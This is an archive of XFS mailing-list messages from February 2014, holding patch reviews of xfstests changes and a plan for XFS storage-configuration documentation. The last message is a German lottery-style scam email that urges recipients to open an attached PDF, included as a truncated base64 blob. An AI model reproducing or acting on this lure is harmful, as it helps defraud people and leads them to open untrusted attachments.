SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 477B87F56 for ; Mon, 3 Feb 2014 01:39:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4094AC001 for ; Sun, 2 Feb 2014 23:39:46 -0800 (PST) X-ASG-Debug-ID: 1391413185-04bdf0121fbdf20001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id ysMKrR4DNlKqOrc0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 23:39:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAE89-0004K6-Tl; Mon, 03 Feb 2014 07:39:45 +0000 Date: Sun, 2 Feb 2014 23:39:45 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/4] generic: _test_generic_punch not blocksize clean Message-ID: <20140203073945.GC16476@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/4] generic: _test_generic_punch not blocksize clean References: <1391385365-12790-1-git-send-email-david@fromorbit.com> <1391385365-12790-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391385365-12790-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391413186 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144777 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 Looks good, Reviewed-by: Christoph Hellwig From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 01:40:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 426C57F56 for ; Mon, 3 Feb 2014 01:40:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1B1F5304043 for ; Sun, 2 Feb 2014 23:40:06 -0800 (PST) X-ASG-Debug-ID: 1391413205-04bdf0121fbdf30001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id hVJh3wHjCjPsO5GS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 23:40:05 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAE8T-0005LE-RI; Mon, 03 Feb 2014 07:40:05 +0000 Date: Sun, 2 Feb 2014 23:40:05 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/4] generic: inconsistent initial state for test_generic_punch Message-ID: <20140203074005.GD16476@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/4] generic: inconsistent initial state for test_generic_punch References: <1391385365-12790-1-git-send-email-david@fromorbit.com> <1391385365-12790-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391385365-12790-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391413205 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144777 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Mon, Feb 03, 2014 at 10:56:05AM +1100, Dave Chinner wrote: > From: Dave Chinner > > The first test may start with the file from the previous test, and > that is in an unknown state. Hence always remove the test file > before the first test so that it doesn't have extents inside the > test range as it is supposed to be testing into a hole. Looks good, Reviewed-by: Christoph Hellwig From stan@hardwarefreak.com Mon Feb 3 03:36:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 99C3F7FC4 for ; Mon, 3 Feb 2014 03:36:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1F710AC001 for ; Mon, 3 Feb 2014 01:36:04 -0800 (PST) X-ASG-Debug-ID: 1391420160-04cbb00c2aad380001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 8pkUbpazcuGWs5Ih for ; Mon, 03 Feb 2014 01:36:00 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 663316C0B9; Mon, 3 Feb 2014 03:36:00 -0600 (CST) Message-ID: <52EF6301.5040406@hardwarefreak.com> Date: Mon, 03 Feb 2014 03:36:01 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> <52ED6AAF.6030703@hardwarefreak.com> <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> <20140202213030.GQ2212@dastard> <52EF1D76.6070302@hardwarefreak.com> <20140203052415.GQ13997@dastard> X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <20140203052415.GQ13997@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391420160 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/2/2014 11:24 PM, Dave Chinner wrote: > On Sun, Feb 02, 2014 at 10:39:18PM -0600, Stan Hoeppner wrote: >> On 2/2/2014 3:30 PM, Dave Chinner wrote: ... >>> And that is why this is a perfect example of what I'd like to see >>> people writing documentation for. >>> >>> http://oss.sgi.com/archives/xfs/2013-12/msg00588.html >>> >>> This is not the first time we've had this nested RAID discussion, >>> nor will it be the last. However, being able to point ot a web page >>> or or documentation makes it a whole lot easier..... >>> >>> Stan - any chance you might be able to spare an hour a week to write >>> something about optimal RAID storage configuration for XFS? >> >> I could do more, probably rather quickly. What kind of scope, format, >> style? Should this be structured as reference manual style >> documentation, FAQ, blog?? I'm leaning more towards reference style. > > Agreed - reference style is probably best. As for format style, I'm > tending towards a simple, text editor friendly markup like asciidoc. > From there we can use it to generate PDFs, wiki documentation, etc > and so make it available in whatever format is convenient. Works for me, I'm a plain text kinda guy. > (Oh, wow, 'apt-get install asciidoc' wants to pull in about 1.1GB of > dependencies) > >> How about starting with a lead-in explaining why the workload should >> always drive storage architecture. Then I'll describe the various >> standard and nested RAID levels, concatenations, etc and some >> dis/advantages of each. Finally I'll give examples of a few common and >> a high end workloads, one or more storage architectures suitable for >> each and why, and how XFS should be configured optimally for each >> workload and stack combination WRT geometry, AGs, etc. > > That sounds like a fine plan. > > The only thing I can think of that is obviously missing from this is > the process of problem diagnosis. e.g. what to do when something > goes wrong. The most common the mistake we see is trying to repair > the filesystem when th storage is still broken and making a bigger > mess. Having something that describes what to look for (e.g. raid > reconstruction getting disks out of order) and how to recover from > problems with as little risk and data loss as possible would be > invaluable. Ahh ok. So you're going for the big scope described in your Dec 13 email, not the paltry "optimal RAID storage configuration for XFS" described above. Now I understand the 1 hour a week question. :) I'll brain dump as much as I can, in a hopefully somewhat coherent starting doc. I'll do my best starting the XFS troubleshooting part, but I'm much weaker here than with XFS architecture and theory. >> I could also touch on elevator selection and other common kernel >> tweaks often needed with XFS. > > I suspect you'll need to deal with elevators and IO schedulers and > the impact of BBWC on reordering and merging early on in the storage > architecture discussion. ;) Definitely bigger scope than I originally was thinking, but I'm all in. > As for kernel tweaks outside the storage stack, i wouldn't bother > right now - we can always add it later it it's appropriate. 'k >> I could provide a workload example with each RAID level/storage >> architecture in lieu of the separate workload section. Many readers >> would probably like to see it presented in that manner as they often >> start at the wrong end of the tunnel. However, that would be >> antithetical to the assertion that the workload drives the stack design, >> which is a concept we want to reinforce as often as possible I think. >> So I think the former 3 section layout is better. > > Rearranging text is much easier than writing it in the first place, > so I think we can worry about that once the document starts to take > place. Yep. >> I should be able to knock most of this out fairly quickly, but I'll need >> help on some of it. For example I don't have any first hand experience >> with large high end workloads. I could make up a plausible theoretical >> example but I'd rather have as many real-world workloads as possible. >> What I have in mind for workload examples is something like the >> following. It would be great if list members who have one the workloads >> below would contribute their details and pointers, any secret sauce, >> etc. Thus when we refer someone to this document they know they're >> reading of an actual real world production configuration. Though I >> don't plan to name sites, people, etc, just the technical configurations. > > 1. General purpose (i.e. unspecialised) configuration that should be > good for most users. Format with XFS defaults. Done. :) What detail should go with this? Are you thinking SOHO server here, single disk web server. Anything with low IO rate and a smallish disk/RAID? >> 1. Small file, highly parallel, random IO >> -- mail queue, maildir mailbox storage >> -- HPC, filesystem as a database >> -- ?? > > The hot topic of the moment that fits into this category is object > stores for distributed storage. i.e. gluster and ceph running > openstack storage layers like swift to store large numbers of > pictures of cats. The direction I was really wanting to go here is highlighting the difference between striped RAID and linear concat, how XFS AG parallelism on concat can provide better performance than striping for some workloads, and why. For a long time I've wanted to create a document about this with graphs containing "disk silo" icons, showing the AGs spanning the striped RAID horizontally and spanning the concat disks vertically, explaining the difference in seek patterns and how they affect a random IO workload. Maybe I should make concat a separate topic entirely, as it can benefit multiple workload types, from the smallest to the largest storage setups. XFS' ability to scale IO throughput nearly infinitely over concatenated storage is unique to Linux, and fairly unique to filesystems in general TTBOMK. It is one of its greatest strengths. I'd like to cover this in good detail. >> 2. Virtual machine consolidation w/mixed guest workload > > There's a whole lot of stuff here that is dependent on exactly how > the VM infrastructure is set up, so this might be difficult to > simplify enough to be useful. I was thinking along the lines of consolidating lots of relatively low IO throughput guests with thin provisioning, like VPS hosting. For instance a KVM host and a big XFS, sparse files exported to Linux guests as drives. Maybe nobody is doing this with XFS. >> 3. Large scale database >> -- transactional >> -- warehouse, data mining > > They are actually two very different workloads. Data mining is > really starting to move towards distributed databases that > specialise in high bandwidth sequential IO so I'm not sure that it > really is any different these days to a traditional HPC > application in terms of IO... Yeah, I wasn't sure if anyone was still doing it on singe hosts at scale but through it in just in case. The big TPC-H systems have all been clusters with shared nothing storage for about a decade. >> 4. High bandwidth parallel streaming >> -- video ingestion/playback >> -- satellite data capture >> -- other HPC ?? > > Large scale data archiving (i.e. write-once workloads), pretty much > anything HPC... > >> 5. Large scale NFS server, mixed client workload > > I'd just say large scale NFS server, because - apart from modifying > the structure to suit NFS access patterns - the underly config > is still going to be driven by the dominant workloads. > storage config is still I figured you'd write this section since you have more experience with big NFS than anyone here. >> Lemme know if this is ok or if you'd like it to take a different >> direction, if you have better or additional example workload classes, >> etc. If mostly ok, I'll get started on the first 2 sections and fill in >> the 3rd as people submit examples. > > It sounds good to me - I think that the first 2 sections are the > core of the work - it's the theory that is in our heads (i.e. the > black magic) that is simply not documented in a way that people can > use. Agreed. I'll get started. -- Stan From antonio.blanco1@aol.com Mon Feb 3 04:12:21 2014 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 007B27F6B for ; Mon, 3 Feb 2014 04:12:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 32D588F8040 for ; Mon, 3 Feb 2014 02:12:17 -0800 (PST) X-ASG-Debug-ID: 1391422332-04bdf0121dc1b60001-w1Z2WR Received: from mail.vps.com ([23.97.73.52]) by cuda.sgi.com with ESMTP id YAwHOBw6HyuQPLt2 for ; Mon, 03 Feb 2014 02:12:13 -0800 (PST) X-Barracuda-Envelope-From: antonio.blanco1@aol.com X-Barracuda-Apparent-Source-IP: 23.97.73.52 Received: from [23.97.73.52] (localhost [IPv6:::1]) by mail.vps.com (Postfix) with ESMTP id 72EE520BB7; Sun, 2 Feb 2014 09:48:23 +0000 (UTC) Received: from 31.4.245.68 (SquirrelMail authenticated user admin) by 23.97.73.52 with HTTP; Sun, 2 Feb 2014 09:48:23 -0000 Message-ID: <07652a479464d87b27c6457932c03005.squirrel@23.97.73.52> Date: Sun, 2 Feb 2014 09:48:23 -0000 Subject: offizielle sieger From: =?iso-8859-1?Q?=22_A._Blanco._Preis_Organizer/Ministerium_f=FCr_Tourismus?=@vps.com, " "@vps.com X-ASG-Orig-Subj: offizielle sieger Reply-To: winseguros3@aol.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="----=_20140202094823_58579" X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: UNKNOWN[23.97.73.52] X-Barracuda-Start-Time: 1391422332 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_20140202094823_58579 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit -- Achtung: Öffnen Sie bitte das beigefügte Dokument zum Abrufen ihrer Nachrichten Danke mfg Don Antonio Blanco Alle Korrespondenten an, Don Juan Gomez (agent) Win Seguros Email: ddongomez@gmail.com, oder juan.gomez@spainmail.com Tel: 0034 631 547 811 Fax: 0034 917 693 077 ***************************************** Der Austausch von Nachrichten per e-mail dient ausschließlich zu Informationszwecken. Deshalb nehmen wir keine rechtlichen Erklärungen des Absenders per e-mail. Die Informationen in dieser Nachricht ist vertraulich und ausschließlich für den Adressaten. Wenn sich der Empfänger dieser Nachricht ist nicht der Adressat, einer seiner Mitarbeiter oder sein bevollmächtigter Vertreter, der Empfänger wird hiermit darauf aufmerksam gemacht, dass er/sie sich nicht mit den Inhalten, offenlegen oder reproduzieren ihren Inhalt. Wenn Sie diese Meldung irrtümlich erhalten haben, benachrichtigen Sie bitte den Absender sofort und löschen Sie die Nachricht von Ihrem System. *********************** Alle Warenzeichen sind Eigentum der jeweiligen Inhaber. >Copyright © 2010-2014. Alle Rechte vorbehalten ------=_20140202094823_58579 Content-Type: application/pdf; name="euro.l.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="euro.l.pdf" JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhlbi1VUykgPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9QYWdlcy9Db3VudCAxL0tpZHNb IDMgMCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jl c291cmNlczw8L1hPYmplY3Q8PC9JbWFnZTQgNCAwIFIvSW1hZ2U3IDcgMCBSL0ltYWdlOSA5IDAg Ui9JbWFnZTExIDExIDAgUi9JbWFnZTEzIDEzIDAgUi9JbWFnZTE3IDE3IDAgUi9JbWFnZTcwIDcw IDAgUi9JbWFnZTcxIDcxIDAgUi9JbWFnZTczIDczIDAgUi9JbWFnZTc0IDc0IDAgUi9JbWFnZTc1 IDc1IDAgUj4+L0V4dEdTdGF0ZTw8L0dTMTUgMTUgMCBSL0dTMTYgMTYgMCBSL0dTMzcgMzcgMCBS Pj4vRm9udDw8L0YxIDE4IDAgUi9GMiAyMCAwIFIvRjMgMjIgMCBSL0Y0IDI0IDAgUi9GNSAyNiAw IFIvRjYgMjggMCBSL0Y3IDMwIDAgUi9GOCAzMiAwIFI+Pi9QYXR0ZXJuPDwvUDM5IDM5IDAgUi9Q NDEgNDEgMCBSL1A0MyA0MyAwIFIvUDQ1IDQ1IDAgUi9QNDcgNDcgMCBSL1A0OSA0OSAwIFIvUDUx IDUxIDAgUi9QNTMgNTMgMCBSL1A1NSA1NSAwIFIvUDU3IDU3IDAgUi9QNTkgNTkgMCBSL1A2MSA2 MSAwIFIvUDYzIDYzIDAgUi9QNjUgNjUgMCBSL1A2NyA2NyAwIFIvUDY5IDY5IDAgUj4+L1Byb2NT ZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJXSA+Pi9NZWRpYUJveFsgMCAwIDU5NS4z MiA4NDEuOTJdIC9Db250ZW50cyA2IDAgUi9Hcm91cDw8L1R5cGUvR3JvdXAvUy9UcmFuc3BhcmVu Y3kvQ1MvRGV2aWNlUkdCPj4vVGFicy9TPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvVHlwZS9YT2Jq ZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMjIxL0hlaWdodCAxMTgvQ29sb3JTcGFjZS9EZXZpY2VS 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 eb3aNjUUB5YJOyiTzCQs1mPGQ4m7eR/K9mvwvuBtQwf05izcw57DeHTy/qc4nzzsHn+5l5bHjtkL cNC4bKIgLY+Iv1DLJyGf275ByR/SN6z5qO7J+Li8OJtSvcsw5cv0xT8SJwyp+0DSjZfV2fmYrjkc c/jNS2109/jjHm2VSvVCfXyaqYGMEOT2OC3Lli8Bg1GWe2vM804Tpozker1uqnPvUXo5kuPyWC07 Wkz6EyDr5Gx5Z5Jj/eJacra8M14mZ1/LoB57oFd+k5ZB8EGLzWMDl+ZwtmzW5jVKkkCdZv9XHPUQ OEGVXi3jmWf+c9e/V976LA+0Zep9NKr7tZjtftWylpTfk9rmDh2yV6Dm0A6u1bL4v4dZlzlbIK+l F5sXT7x3cn5+owpUi4Jik/9nDWw81HIX1hwGt3epQQwKjMyW8O+fxC2Oa1nLNH90PeV+9CtXDTJC Zq7wxiWzJamlN8R248ryPsprWf+TlPUq2f26iDdLFmq5Ezbb3kZv3OUo30HLGnYwP6tZtzjnmdDV ZPebEZIRZnTVWRI3+q1/fCweZW+MmqcN8SIul8tAy6AGL2A4Mdq7vSZfy4OH61VQQ7De/1t2ulvf GyZ7Orf13DL+62oZJ2HA7+/vye5Ty0OBC1a5r5awWFOteLa0Ad9nET9giF4ROwTeYNktzdqSi7id KuWcWf4uypm73iZx3QEjyfR0REuaOQ7MLaQg5STr8te9iHstqr+vayv3ptOCtFR/Z3Wk+1N4OyQZ IXkO5o2LZJOWu7RY0FdOcm+ziUEtYW3Uchy4tHnjUsKhOWi2zDgAi8WHq0oywSTjoZbjyDRKVcrt EFwul+J/Jz7dfi9sBwu2mzHBa0sGH7crtwcnnOrwgk6ka0PwYwQVDyGEEEIIIYQQQgghhBBCCCGE EEIIIU/BTI7n0YOM+Q97zcW/DQplbmRzdHJlYW0NCmVuZG9iag0KNSAwIG9iag0KPDwvVHlwZS9Y T2JqZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMjIxL0hlaWdodCAxMTgvQ29sb3JTcGFjZS9EZXZp Y2VHcmF5L01hdHRlWyAwIDAgMF0gL0JpdHNQZXJDb21wb25lbnQgOC9JbnRlcnBvbGF0ZSBmYWxz ZS9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDEwMzU+Pg0Kc3RyZWFtDQp4nO2a63aEMAiEef+X tue0q2FgiFd0TeFHG90E5ksIpmtFvskmZse9Xajs66zg3moF91ZLg9vsOHF681zTqn5ppV+XkOe5 4N4Ltwoog8K1DmkKauUOeiZw9sY4cDLDDAYnC5wU3FUS8jwX3JBwUnBnJeR5JnD2ouBOSMjzbFHg kf5+OBkdzqdlwV0jIc/z/4OTQeHIxZvhGM8wK/c/4LwV3GkJeZ432JvhuoBScOck5HkePC0L7q1w v/47aPJmuGVx4mUruMMS8jyvwMkAcCFd65AnIc/1n/9eVmYrSIfrV8vs4OkRCi4ndH6EgssJnR4g RBsBLn7OZYe+4/8tH8vKW+yphbvFxl22aNc9reo6GxjNrZ2MRQd4T6tJsQ/ZRXQbpynu81HTGamW YkMwL+joQm6fpTBbPl8GrIw8qO7k9tsaOIZT6gP6Q49jeOe6e/QcOBnuqDyonLtHLx52xFouuJP2 uds23GknnHkt3vp304Qo1hs+2P3tgzncZ05hgheH6sUhtsxbfu0bbyGcfhE5GdMO1l8aKU0cTnfw QcxthMMJieCcTHwG6nttSdAzlQUdOBzuB9rswGE/scusM4iJUj1dKNqM5p/D9b9CtQnpwvbhSFau wAWeGZBJoA6c+LE8pHJlKPxsCcItI9bgdCnwS2/u9AoKhxMWX/ljn4nLcwxnh7MYPI+0SvrXouyC 45NrqoVtuxwUTrcbTledEJ/AueqGv01g4tlW4wvhfH7wjIZQbGUtHPnQVtZlT0AApAjyEmKZGFS8 yR0SOwzmFCsB4uFAh0As9lT34eINrSGEbQQ7B62uUTjcQMJvA1wkdAXO7YGVi6BqRcbhhDVJRVyD Ewsn6h6M78BRIjXpUcUJ4ZaBMO2uZcWZDGknYczY3i4A3fYKW7TSQYdTNjWt6hQ/LR/MiYd5aOdT 7WFRl7ostbmCG58fJjfmu+e4zFxh4eT7IxoOqeK8YTL52mF2jypmV8HF5srJSrU8byfAjsJ1xm/w d1JwMlxv/JfCEanujnhxeybnObhw4nWvv7YfHzIS+vvhiEhIwlDSZCoqmSqSDzcZlePh7MmjDYeH e4/xPXCu1zfDraXla+GUeHX22piW6mgh0BWc6mP2DVBNCZ6V21LGcHSh9EMlcnrBMXgfnDlKuibA zWMCJLWy3OnJg/B+uGhFNu05Cke/ZlguHobTPw/Bdf8gvxEOq9285bWaGE6XHTfOOqXH7pvgYLVA YQynyw4bS+HuZDsHp74wpENfBfdp+03H4eiv++FADuFxp4wAjpWV5/bc4UeBPXexFKQXb4CzzR7P c3Cdw8QWOPE37cVzJxT4g4ycrHpw+rteKEl48djZsqysrKysrKysrKxsg03P2H6hP8SbTCINCmVu 